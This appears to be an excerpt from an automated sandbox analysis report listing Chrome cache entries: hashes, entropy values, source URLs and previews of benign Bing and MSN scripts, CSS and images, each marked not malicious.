Encrypted:	false
SSDEEP:	6:2LGfGIEW65JcYCgfkF2/WHRMB58IIR/QxbM76Bhl:2RWIyYCwk4/EMB5ZccbM+B/
MD5:	A5363C37B617D36DFD6D25BFB89CA56B
SHA1:	31682AFCE628850B8CB31FAA8E9C4C5EC9EBB957
SHA-256:	8B4D85985E62C264C03C88B31E68DBABDCC9BD42F40032A43800902261FF373F
SHA-512:	E70F996B09E9FA94BA32F83B7AA348DC3A912146F21F9F7A7B5DEEA0F68CF81723AB4FEDF1BA12B46AA4591758339F752A4EBA11539BEB16E0E34AD7EC946763
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/MWgq_OYohQuMsx-qjpxMXsnruVc.js
Preview:	(function(n,t,i){if(t){var r=!1,f=function(){r\|\|(r=!0,typeof wlc!="undefined"&&wlc(sj_evt,sj_cook.set,wlc_t))},u=function(){setTimeout(f,t)};n.bind("onP1",function(){i?n.bind("aad:signedout",u):u()},1)}})(sj_evt,wlc_d,wlc_wfa)

Chrome Cache Entry: 727

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (938), with no line terminators
Category:	downloaded
Size (bytes):	938
Entropy (8bit):	5.18200878052665
Encrypted:	false
SSDEEP:	24:GFUFqJYYmaLOTCE20aOtZP9F3a6MakIzHF+lvyUJ9sq5aOB:BWOWEZP9U6MUEvyUJ9s6
MD5:	DBF771B1F0B05393D18BC55FD6DD94A7
SHA1:	BC4FD6C9EFB2E87D2D30F19DD78C9188B6D76B2D
SHA-256:	F2C5677D58718AE60F7F4E98351643AFEB8AD7FDFE4B2B6AF0B7B63108CB7071
SHA-512:	50B113243923EC8E4432288AE4FDE5B2FD0339C0EE785D33543E2C502F366E33BA99B0B1C0893E78CA23B820B71A9E3E4CBA31F5D865C43A989E3262D869ADCE
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/vE_Wye-y6H0tMPGd14yRiLbXay0.js
Preview:	var ShareDialog;(function(n){function i(){t("bootstrap",arguments)}function r(){t("show",arguments)}function u(){t("showError",arguments)}function t(n,t){for(var r=["shdlgapi",n],i=0;i<t.length;i++)r.push(t[i]);sj_evt.fire.apply(null,r)}n.bootstrap=i;n.show=r;n.showError=u})(ShareDialog\|\|(ShareDialog={})),function(n){function i(){t==0&&u()}function r(){sj_evt.unbind("shdlgapi",i)}function u(){t=1;var n=ShareDialogConfig.shareDialogUrl+"&IG="+_G.IG;n=e(n,["uncrunched","testhooks"]);sj_ajax(n,{callback:function(n,i){n?(t=2,i.appendTo(_d.body),r(),f()):t=3},timeout:0})}function f(){var n="rms";_w[n]&_w[n].start()}function e(n,t){var i,r,u;for(r in t)u=new RegExp("[?&]".concat(t[r],"=[^?&#]*"),"i"),(i=location.href.match(u))&&i[0]&&(n+="&"+i[0].substring(1));return n}function o(){n.inited=0}function s(){n.inited\|\|(n.inited=1,sj_evt.bind("shdlgapi",i,!0),sj_evt.bind("ajax.unload",o,!1))}var t=0;s()}(ShareDialog\|\|(ShareDialog={}))

Chrome Cache Entry: 728

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15366), with no line terminators
Category:	downloaded
Size (bytes):	15366
Entropy (8bit):	5.333473665998834
Encrypted:	false
SSDEEP:	384:AH1NY1hmdGmYSm9RhHah/hmsl3MAzk5T0hX9Vo4Lh0i/wWVmI9FwR1+mSdVKF+/Z:21NY1hSGmYSm3hHah/hLl3MAziT0hNVd
MD5:	6AA549AE9767E420C1AF7D429EBB0888
SHA1:	53E3793A4FDE7962C293A05B09F56A5E2AF38E3B
SHA-256:	2AC506835420843EA7B32FCEE470F532F164A670B0A9C172425C2B247D19F025
SHA-512:	DF100E42361A9AFDDA93E2D63B1C73BA5472B68E2EA5175EDC4F6E1596BEC711B2531978D43232F0047A1C26DFAFA4FE40F9875E7351812CB9FF8CF65DA53B7A
Malicious:	false
Reputation:	unknown
URL:	https://assets.msn.com/bundles/v1/bingHomepage/latest/weather-data-lazy-services.f949e23f4e92b28e221c.js
Preview:	"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["weather-data-lazy-services"],{83769:function(e,t,i){i.r(t),i.d(t,{createVersionApiClient:function(){return s}});var n=i(33940),r=i(56692);function o(e,t,i){return(0,n.mG)(this,void 0,void 0,(function(){const o=t.path\|\|"",a="/"==o[0]?o.substring(1):o,l=t.urlBase,s="/"==l[l.length-1]?l:l+"/",c=new URL(a,s),d=c.searchParams;i&&d.set("activityid",(0,r.Yq)().ActivityId);for(const[e,i]of Object.entries(t.queries\|\|{}))d.set(e,i);return yield function(e,t){return(0,n.mG)(this,void 0,void 0,(function(){let i="";try{const n=yield e(t);if(i=n.status,n.ok)return yield n.json()}catch(e){i=`status=${i},error=`+(e&&e.toString())}throw new Error(""+i)}))}(e,c.href)}))}var a=i(22089),l=i(22704);function s(e,t){if(t&&t.tileVersionApi){const i=Object.assign(Object.assign({},t.tileVersionApi),{urlBase:t.weatherApi.endpoint});return{fetchTileVersions:()=>{const n=(0,l.UE)();o(e,i,!0).then(((

Chrome Cache Entry: 729

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3102), with no line terminators
Category:	downloaded
Size (bytes):	3102
Entropy (8bit):	5.21762849278984
Encrypted:	false
SSDEEP:	48:wSGAYinlz3omPxexUQn4T4mEWOJXBEmQ4Qbjzu7EG62C5lamlh/uf:w3inJ3rs6DTmfXBq4Ujzu7k9jfK
MD5:	DD6A528C55708896155FEA98148725FA
SHA1:	53C48069ABE54FD30D9FFF1D7FD8C287AFBBE1B1
SHA-256:	635421AF44598C7601907A7AD263A3A8925BE6495BA349382F02805DBE668566
SHA-512:	B1D3214F238D873708ABDD7DADB4E3C01BFA036B0AA737028E58E9EC5236A6D8600DC0D11628B0E299027ADD8697D60D37443548864D1DB3B25747098BFB1A24
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/U8SAaavlT9MNn_8df9jCh6-74bE.js
Preview:	var MobileIcon;(function(){function wt(){var t,i;tt()?((t=n===null\|\|n===void 0?void 0:n.classList)===null\|\|t===void 0?void 0:t.add("b_hide"),r("overlap")):((i=n===null\|\|n===void 0?void 0:n.classList)===null\|\|i===void 0?void 0:i.remove("b_hide"),Log.Log(b,k,"resize"))}function tt(){return(g===null\|\|g===void 0?void 0:g.offsetWidth)-((e===null\|\|e===void 0?void 0:e.offsetWidth)+(d===null\|\|d===void 0?void 0:d.offsetWidth)+at)<vt}function i(t){var i=_ge("id_mobpopcntr");(n===null\|\|n===void 0?void 0:n.contains(t===null\|\|t===void 0?void 0:t.target))\|\|(i===null\|\|i===void 0?void 0:i.contains(t===null\|\|t===void 0?void 0:t.target))\|\|r("ClickPage")}function ht(t){Log.Log(it,k,t);bt();n===null\|\|n===void 0?void 0:n.classList.add("active");s=!0}function ct(){if(sj_gx){var n=sj_gx();n.onreadystatechange=function(){n.readyState==4&&n.status==200&&(et=!0,sj_appHTML(e,n.responseText),sb_st(function(){ht("ClickMobileIcon")},250))};n.open("GET","/header/mobupsellfly",!0);n.send()}}function bt(){sj_be(_d,"cl

Chrome Cache Entry: 730

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	121985
Entropy (8bit):	5.341090761312292
Encrypted:	false
SSDEEP:	1536:52+c51J9cXDBFAtutXwkIQYjSoiDxzAaImL1142qxkO0ni2agfBiXykUONNDdEVX:5nKhmrvAaAkd+g6UOpih
MD5:	844D73E18AD668FA1E9057452080D941
SHA1:	213E6C9C9979DB3C5E00393B592DAC1CF8D77B8F
SHA-256:	6FB0ED92A382C45DE7F7DF08F989D08573E06BEC4239F6A3A0841141E990DB1D
SHA-512:	EBB3468BC6ABE33C528B44D4AA2FB012B35072E4CA7E1D04CB0BDDE02A8B5BF066F27D6935E1DC18D0D7FB74A633DAD01A82FA94EB9B4E2EC72537AEEFB60490
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/IT5snJl52zxeADk7WS2sHPjXe48.js
Preview:	var AutoSuggest,__extends,EventKeyCodes,Bing,sa_inst;(function(n){var t;(function(n){var t,i,r,u,f,e;(function(n){n.User="SRCHHPGUSR"})(t=n.CookieNames\|\|(n.CookieNames={})),function(n){n.AutoSuggest="AS"}(i=n.CrumbNames\|\|(n.CrumbNames={})),function(n){n.CursorPosition="cp";n.ConversationId="cvid";n.SuggestionCount="sc";n.PartialQuery="pq";n.SuggestionPosition="sp";n.SuggestionType="qs";n.PreviewPaneSuggestionType="qsc";n.SkipValue="sk";n.PreviewPaneSkipValue="skc";n.Ghosting="ghc";n.Css="css";n.Count="count";n.DataSet="ds";n.SessionId="sid";n.TimeStamp="qt";n.Query="q";n.ImpressionGuid="ig";n.QFQuery="qry";n.BaseQuery="bq";n.FormCode="form";n.HashedMuid="nclid";n.RequestElToken="elvr";n.ElTokenValue="elv";n.AppId="appid";n.History="history";n.NoHistory="nohs";n.ApiTextDecoration="textdecorations";n.ClientId="clientid";n.Market="mkt";n.Scope="scope";n.CountryCode="cc";n.HomeGeographicRegion="hgr";n.SetLang="setlang";n.ZeroInputSerp="zis";n.GhShown="ghsh";n.GhAccepted="ghacc";n.GhPrefixL

Chrome Cache Entry: 731

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1286
Entropy (8bit):	4.773989693534619
Encrypted:	false
SSDEEP:	12:6v/7ca/f35DANXCShEDELHjiQEsq1zjUPEYCjJfhqEA/EL+qhE5y5Pc1Z:XaX38kDyiQEsq1zXtthG/aE5yd
MD5:	0CD18720313EC21B2B899D2F4A8A9602
SHA1:	685F722E55CE3AEBABA71DE8BC4467BC9D5EA3A1
SHA-256:	CA2E862C45CC7243EEB1DB4985E24E6F832E931849F969BC32A68301AACFAE8F
SHA-512:	DCEE1F1EAC013892EAAD239903A57B395487607FD249D572DFAC25006202CDF0D50B407317B9266BBE53EA038AAE1993E18B987FDE18DD7692571F6BECDA6B85
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+.....EIDATx....K.Q....mt.f..8.x.6I`+.......-.@".BA.Ve..V-.Z.....". ...h.E.L.,+Mgr.....j;}p8..}......E..@X..o..V..........A....\|F....^)....kmr.1.....IAE.MvY....@..V.v..qp..8..S3.o..xz.......Tnl'.....e..........?@]o?.W.I......@s..7G.u.b..}B....D.......N..{..;........k..%U.."4..AU.../.a..]..;h.z...P......-....F....i,...V..^]%.WSrR.I.....C>..%....(...R3/qD.I.........[..[..>nu._....Di.?....{.......uA...uk!9.....\..x.xJ........}.I..c~....i._.?J....W.........GT.C....6...=[..c.&.{.?.l"/.K...@..R.S... K.8J0^.%4.D..y@k.<NH.2^.H..41.0..\|..~1bj.......r.a<&.........'>..$....IEND.B`......................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 732

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 134 x 64, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	7441
Entropy (8bit):	7.961547902598206
Encrypted:	false
SSDEEP:	192:u5AWFqvmUXx8GYnT/6M+wxWHWfkM6W+iBvH:e7M3BenT/6M+wxEWfk6B/
MD5:	C162A5D5C4B750769BF48752F6206FDA
SHA1:	52554BFC629CAAB91D215026785314781B9A0708
SHA-256:	89835F7C743F40ABECCB11C85E34FF17120CF0AF614327E527E5B37B01848FCF
SHA-512:	30EBB95F24A38ABFEAC7EFF24F6E61563355B40773DA85F059709A5D3F1F79C8AE7B52877F4B4CB64EB177C295DBA62DFBA2CA866C40398E9F6C57D285D65D10
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......@.............PLTE.........................{\|.......9_.(BW{\|...."Jgyzz....._.....]w...N?...u..c .d]..I;.J......f....m5.d~\|Jo..u..r...?......d~..j.j..fu.J...p..e{J.."x.SVOfWD.r..A....m9......!.H?.c..re.j...<.f-...!.s;..Z[Y..V%.fX.M.....p~<\..B.tG2.n4.cxy4....e..w.m[..W...y.9...,b...A\.j<.......v..;..C.t:.d%ndg....;.......5.\......>.sJ.b.._Z.z..$..!}.(#...d.#/. )....z...jk...... .yu9 .;8.$.....y..te....df.(,...5.Li..p.....Na]..........~Z.5F4.\|...G.}}}\|..@p1....2..p.s..L..WbJ........S@(...KqZ......rK.h.&.....-n.2..........r........rtp...x..0`....&,-.&.\|...&..H..x.......887..s.d...5.z.......s.W..GHE...G/8.x...m....o+..!.{...S.......<...x.%.J...-CZ.:....R#.:..Z...k..dN$..g.....CN .}E.I..B.Q_B.c...x0.)A..zs....IDATh.]..\......._....../....c...,H.Z......'....X.v..$+...b..t.....nZ....=....V....6.Mr.6n.....&....{.g......x.....~.../../........\|.r}.@}6.p......td.gL ...w.f.x.v....>..

Chrome Cache Entry: 733

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	dropped
Size (bytes):	12412
Entropy (8bit):	7.955100286795984
Encrypted:	false
SSDEEP:	384:esULsp0eWjZxP9+uUfCHINPnFvsjdW1N05n:e4pzyZj+FKHuZi414
MD5:	83424BBDE15001754CD2615CCD2E4021
SHA1:	F23C38D3B1E5FE98DDA52664FB613668E087847B
SHA-256:	ED065140F836882523191F5C70D2C0EE09EADE9DF6A30032AAC698D5AC142D4E
SHA-512:	65BD10E07945D704AE8879E7F4935B01229F732E71661729C4101813E86217B391BB095CEF7A6703AC6518776E288C834A9501996BD63D42A47D7B47C763F1E2
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.......6..;..u..\.&.0.K.....V.W,F..S..........N.P.<S.?.D.;4.;sz.c..4.<.....sN...<.@...n.ZNipM+.77....V.0h....i7..?ZE../'.h.G...x..+....5!z.YG...j..#.....2....2.j7.kkZz........G....W..~..E.A...........O......R.....k..&\|F.....F?.....vu{H....4.*.c.,N...k...?.s.../..m2...s.t#.UN.zpM\|....k...+..<.u/.$bb....Q.8.]..3....<DW...'..bF.\|o........{q.]6...Wliz......

Chrome Cache Entry: 734

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2009), with no line terminators
Category:	dropped
Size (bytes):	2009
Entropy (8bit):	5.260635854713912
Encrypted:	false
SSDEEP:	24:y2x50QNQE0YpOP8AA+nLzpJWM1nzfC57eADCoAILODcv/KUSCUvXG3AP5tD1FiOw:7LpsA0pJdQ7eG2KRSCMg+D1gZV5
MD5:	601102CA711E0B4140AF45C1657DB13F
SHA1:	7977EF6E79471380B8787B5B7148E9FF0A74A203
SHA-256:	E47318CD9D80769AC59E732347FB4F574CD4EEA9E2C787F3A996805265069001
SHA-512:	082834DC3EC02CF433FBD8D45C7CFDAC1EDF64B90E1198E48EACA4056E98BBE1BCFA8275B4D99BCC0E6934049DC084EEC5D640B54C1933DABB42FA75016E3E40
Malicious:	false
Reputation:	unknown
Preview:	var RewardsCreditRefresh;(function(n){function r(t,i,r,u,f,e,o,s,h,c,l,a,v,y){sj_cook.set(t,i,r.toString(),!1,"/");sj_cook.set(t,u,f.toString(),!1,"/");sj_cook.set(t,e,o.toString(),!1,"/");sj_cook.set(t,s,h.toString(),!1,"/");sj_cook.set(t,c,l.toString(),!1,"/");sj_cook.set(t,a,v.toString(),!1,"/");sj_evt.fire("RewardsCookieUpdated");sj_evt.bind("identityHeaderShown",function(){return n.RewardsHeaderAnim(o,r,f,y)},1)}function u(n,r,u,f){var h;u=u\|\|r;var s=_ge("id_rh"),e=_ge("rh_animcrcl"),a=_ge("id_rc");if(s&&a&&(e\|\|_ge("givemuid_heart"))&&!(r<0)&&!(r<n)&&!(u<=0)){var o=_ge("rewardsEntryPoint"),v=800,y=r-n,c=Math.min(100,100(r/u)),l=e&&c>=100&&n<u,p=y>0,w=Date.now();c>=100&&s.classList&&Lib.CssClass.add(s,"rh_reedm");e&&Lib.CssClass.add(e,"anim");h=function(u){var a,k;if(u){var tt=Date.now(),d=tt-w,g=Math.min(d/v,1),it=l?tg:tc/100,rt=p?Math.min(Math.floor((n+gy)/f)*f,r):r,nt=_ge("rewardsBright"),b=_ge("rewardsAnimation");e&&e.setAttribute("stroke-dasharray",it.toString()+","+t.toSt

Chrome Cache Entry: 735

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 268x224, components 3
Category:	dropped
Size (bytes):	5901
Entropy (8bit):	7.902009675697229
Encrypted:	false
SSDEEP:	96:NPbbbrHlYM80XPq3s+cbODSZRyOvMUi0oV2OmhaRgPSgjAQlAe6jEFd9ThYO2lXL:NPbbbBC0XPq32RvyOvYwhpVjAQRbDHYZ
MD5:	724ED6D9C7E08D475DE2A4D13BF765C3
SHA1:	34463B15C954D0B452864090C39869514B6F09A8
SHA-256:	D15868649ED820AB797A3F0E85BAEAE6ED3174D3A3DC8FAAC9B57A8A5474E513
SHA-512:	C92E491DD2B4577D2A2859F6831243C66200172395E1089AF039D3E96345DE65ADC44C90386221ADEC9C0F82F77782CD1C0936E34B05D5C5AD96130F9DFA977D
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.............C.......................................%..%....)).%756.2>-)0.;!....C...........,...,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,...........".......................................R..........................!1Qq.2Aa..."....Rbr...#%BS...$345ce.......t&6ETUdsu........................................................1.!A.BQ............?....'i.{J....(z..T.....w..T".....w..T".....w..T".....w..T"..}..tf.u,r.=I6.fw.Va..iW=..S..j.....r..Z85.#w.k."......\|qW:..gC<sA3....to......5...z..T.5...)......^..'h....h5.l..z.'.......)...=.?......j.4UM.c....Q.6....v..~.`;.......u....S.0.7.^.K.K....n.}...k..Y.wl...\'.....m.+.rF0.F6g;.N.F...2UB.... ..h....=....,cs/...5...n.Zp2.f.} ...'.R.p.:c.U...A.MG...`.gnv{.?.l.....E=;%s.qa.9Xc.o,.....r..c..0c....'>.F.....g...]..=.]WN.g.Y...V.a._.k.m....D..'.L;.f....=c..l..u..8.[..7[.]........W.9w..S..\|J.A9w..S..\|J.A9w..S..\|J.A9w..S..\|J.A9w..U.'.<UJ.n<.....w2.I.;.P................y..Y(&......C.:.r2.......i.........y.

Chrome Cache Entry: 736

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:08:01 11:40:12], progressive, precision 8, 160x160, components 3
Category:	downloaded
Size (bytes):	6817
Entropy (8bit):	7.859219052464007
Encrypted:	false
SSDEEP:	192:sO4w46jQPjxS2VUxVMkjqHqHfGaOUE37ri:sO346jojxR0WKHfoe
MD5:	0C41EE31B04E978B4882D17690F03A3A
SHA1:	1890E62ABDFF4D2DD0A66E8A10BF5429440A50EE
SHA-256:	97785743A5FFC303FF8B7B465CD12AF8403F7EED2B2D19687E118E2621059741
SHA-512:	88555E4C500A6B416E8A8E783497B1F6925EEAF708991080E3776757102D9D522CA4830CE924ACA23EC55C579AAC5CFCA7116343236FE8BF8A13FB2DFBD104AD
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/GJDmKr3_TS3Qpm6KEL9UKUQKUO4.jpg
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:08:01 11:40:12....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;...........................................................................................!e."E.T....!......S-C`!..bB.e.J2.z..:<....9.=.[....... .l..Rwy...X..s..u....!.a gNe..+......r...!..-8ZX%..!.e..e../.]..e.vk.R0._;.\|..<hE...l..i..,.s.Ec.e.G..T....\|.s..K..............+.\|.q.=..1r..$vSb..^q.(hk/..w8...;.v..p:.....C.k.....q.(.M..M.....}q.r+...N.....#.xK.O.....Ci.S=s...}ea[..>MC4.zN;w.Z.%...g.....jo:.g..L.7.......K3...oa.}.=3.<No.\|l..q...#Iszt.z..g..%...z..m.....q....t.L%.\Xc..r:.a...........s{.A..=.z%.W....y}}..W..2......^..s..^...R.$..K..E'M........c.[..Buhvu....H...7N.=...o\|...Z[\.:.=..3.......jP...k....p.....r. ...!R.z2....`T.......H.*k,..`.@..$P@G...(....

Chrome Cache Entry: 737

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (425), with no line terminators
Category:	downloaded
Size (bytes):	425
Entropy (8bit):	4.963129739598361
Encrypted:	false
SSDEEP:	12:2gXsmzwKN0yApFkRLNF1Jfa1VTWPMg9pIGywV:2gX9zwKN0yAqr1Jfa1V059V
MD5:	016ECFDB34031F881FA5E34DFBD0B7A1
SHA1:	16D3BA1049939D00AE47AAD053993B4762D9B102
SHA-256:	08021ED3BCA5532304B597E636BEB939FF7BAA6D08DCA4E94C0DDE1FDF940389
SHA-512:	D61045D1F07ED241626B8233D388F5E1AD54DBE224871E1CE872ECFD0E29F05A21F0EA02FFDE688FACB134DD969533615493BD35EBA4D5E755840C30A687EE00
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/FtO6EEmTnQCuR6rQU5k7R2LZsQI.js
Preview:	(function(n){function f(){u(sj_be,r)}function r(i){return i&&n.enqueue(t,i),!0}function e(){u(sj_ue,r)}function u(n,t){for(var u,r=0;r<i.length;r++)u=i[r],n(u==="resize"?window:document,window.navigator.pointerEnabled?u.replace("mouse","pointer"):u,t,!1)}var t="EVT",i=["click","mousedown","mouseup","touchstart","touchend","mousemove","touchmove","scroll","keydown","resize"];n.wireup(t,{load:f,compute:null,unload:e})})(BM)

Chrome Cache Entry: 738

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (423), with no line terminators
Category:	downloaded
Size (bytes):	423
Entropy (8bit):	5.117319003552808
Encrypted:	false
SSDEEP:	12:2gSYjthM4GF4aaXtdhI9DfaUZnsMQYAQI:2gSW/bS9/ZnsMAj
MD5:	3A5049DB26AF9CE03DB6A53D3541082D
SHA1:	934DAEA4EDDE2568CA02AB89AF23FDCFEB57339A
SHA-256:	AF8C36DEFED55D79106513865F69933E546E1E4C361E41C29F65905DED009047
SHA-512:	5E21B6E184CBB0013DCCE174345DAC14BB64D391CCA3B253F73C7373253FDCA5E0BB297A0BD2FAD237E4F796895807660369680621C49C8F99DF428ED3218C9E
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/k02upO3eJWjKAquJryP9z-tXM5o.js
Preview:	(function(n){function i(){var e,o,u,s,f,r;if(document.querySelector&&document.querySelectorAll){e=[];o=n.rules;for(u in o)for(s=o[u],u+=!s[2]?"":" >*",f=document.querySelectorAll(u),r=0;r<f.length;r++){var i=f[r],h=0,c=0,l=i.offsetWidth,a=i.offsetHeight;do h+=i.offsetLeft,c+=i.offsetTop;while(i=i.offsetParent);e.push({_e:f[r],x:h,y:c,w:l,h:a})}n.enqueue(t,e)}}var t="L";n.wireup(t,{load:null,compute:i,unload:null})})(BM)

Chrome Cache Entry: 739

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	240720
Entropy (8bit):	6.032550786225865
Encrypted:	false
SSDEEP:	6144:9FNk7kSN9BJqxaO7aeAAvedrJycHLF5/b:9z+kSNLJiF2Fy25/b
MD5:	BF09E9F635E19B5CC486316A6DA175EF
SHA1:	77F0E686883040E5A36C45FE834A0BA5055C039C
SHA-256:	F021297E15BA80FB4993DA092F755C362B38F83035C3FF4188AB9577016D209C
SHA-512:	448FFB76DBAE9DCFDBB3F323D1CC7697B5F1D60F9CDDC25CAADA042A80A100626CDE3C752C364E2EF09CFB8562C28F6C1B29AF45F448F149CD4FF00F7CE1B76D
Malicious:	false
Reputation:	unknown
URL:	https://r.bing.com/rp/d_DmhogwQOWjbEX-g0oLpQVcA5w.css
Preview:	@media screen and (max-width:1366px){.mc_caro .hp_trivia_outer div .hp_trivia_inner{display:none}}.tray_cont{display:flex;position:absolute;width:100%;bottom:calc(5vh + 11.0625rem);transition:bottom .2s linear}@media screen and (max-height:929px){.tray_cont{bottom:calc(9.4375rem)}}.tray_cont .tray_outer{display:flex;margin:auto;height:65px;z-index:2}@media(pointer:fine){.tray_cont .tray_outer .tray.collapsed{opacity:0}.tray_cont .tray_outer:hover .tray.collapsed{opacity:1}}@media screen and (max-width:1366px){.tray_cont .tray_outer{height:65px;width:250px}}@media screen and (max-height:720px){.tray_cont .tray_outer{height:58px}}.tray_cont .tray{display:flex;margin:auto auto 0 auto;border-radius:6px;height:56px;background-color:rgba(34,34,34,.8);overflow:hidden;transition:width .1s ease-out,opacity .3s ease-out;opacity:1;z-index:1}.tray_cont .tray .open_btn{display:none;align-items:center;justify-content:center;width:80px;height:56px;cursor:pointer}.tray_cont .tray .open_btn:after{conte

Chrome Cache Entry: 740

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 300x225, components 3
Category:	downloaded
Size (bytes):	18944
Entropy (8bit):	7.967445633426257
Encrypted:	false
SSDEEP:	384:e1hf75wMBpX/Rp7PWwFU5YBnBC129UDQpwys7MgM+v6a7inJJ8sowc:e3z5VpXpZ/U8BCgoQwXvjUJ8nwc
MD5:	508E8220AFAA5E75C6B4AF3926697CBF
SHA1:	A4449080D17596898B59331CBB032095850FE69A
SHA-256:	5037F7AF0741E73B2FA523B741A2BC2BE187C8D9E2BD9AD0A94143D1CCCAA3CB
SHA-512:	4F5596F84A88D2637068E41BA51281445BBE0D0505E87CCF63ED5BE6A46C6A2D3A8E9C0CA358B5BD095EE4BD5A8F25210F5AC9324D4C4A1808E527545A261367
Malicious:	false
Reputation:	unknown
URL:	https://th.bing.com/th?id=ORMS.ad448ebe2137b42cfb9424618fccc024&pid=Wdp&w=300&h=225&qlt=90&c=1&rs=1
Preview:	......JFIF.....`.`.....C....................................................................C.........................................................................,.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...m..i.g.}..V.xX`.*h.:b...8..C.rG.J..r?J..qNh.~T/.O.H.f........-WN...T.g..46l....0.A,H `z.H.....ViB...@..,G...L..x...4...f;....B^^.V...`...s.D...s...0ylb.I=LO...n....... A,.....cs......T....V...~..[Z.5..@.!IC.b2..:..."d9.GQ.^..!.I.k.v...c..../ .....W!.S.w....;.h...E..?..dz..N.0.....9.].{V...kz....w..m.ke.lgc.Ua.....y9.\.\|A.x[...h.B..KG2.....r/.!.>.9R.

Chrome Cache Entry: 741

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:58:04], progressive, precision 8, 160x160, components 3
Category:	dropped
Size (bytes):	4409
Entropy (8bit):	7.661436320849241
Encrypted:	false
SSDEEP:	96:sZbhwhNizUZvpj+cq69L5CiYXL6UIwLxl3LeD:sWzj+cq615Te+Se
MD5:	A98A08BDB99B8422C9DC9D6FDD9387C3
SHA1:	967E5342AE802167DC06576E0E4FB96E76893296
SHA-256:	5FAB9EE214738E71D6C01392EBC7B1EEC09EF8E19CA508EF28154E3E7A769ACF
SHA-512:	660020F40078ADA6A3E3DB7B55063D3E3603F82CFBB3ACF81FE2DF53F23064414C78DAF8657C6E556ADCC4D2034EC077F8C0B4A7720018E457DAFDEEF0323476
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....H.H......Exif..II...............J...........R...(...........1.......Z...2.......f.......H.......H.......GIMP 2.10.8.2019:07:31 17:58:04....C...........................#.%$"."!&+7/&)4)!"0A149;>>>%.DIC<H7=>;...C...........;("(;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;.............................................................................................. (... ....@..........(.@..............(.................R. .......................f.....#x.....6.9.]...f............\|:......b...=....M}.}3/...H..{},k...x..`B.....z........y..9.yv.....9....>n...f...W......ug'.x..6:-3.a.iaHB.@.T.. .Q.@.)A.....At`..(..X!..0t).H...........s.uR6E.J.K9.@*.$.Es....&.........................!.. "A$10Bp.............o.wb.H2......p....H..m....ez.5.5....L.%.i....'..).s....$..q...E.....yxe-d<.VI...<s.~K....4.o.?.y.NY3r1..5...M9F..^Q...y..........>$.&r.g 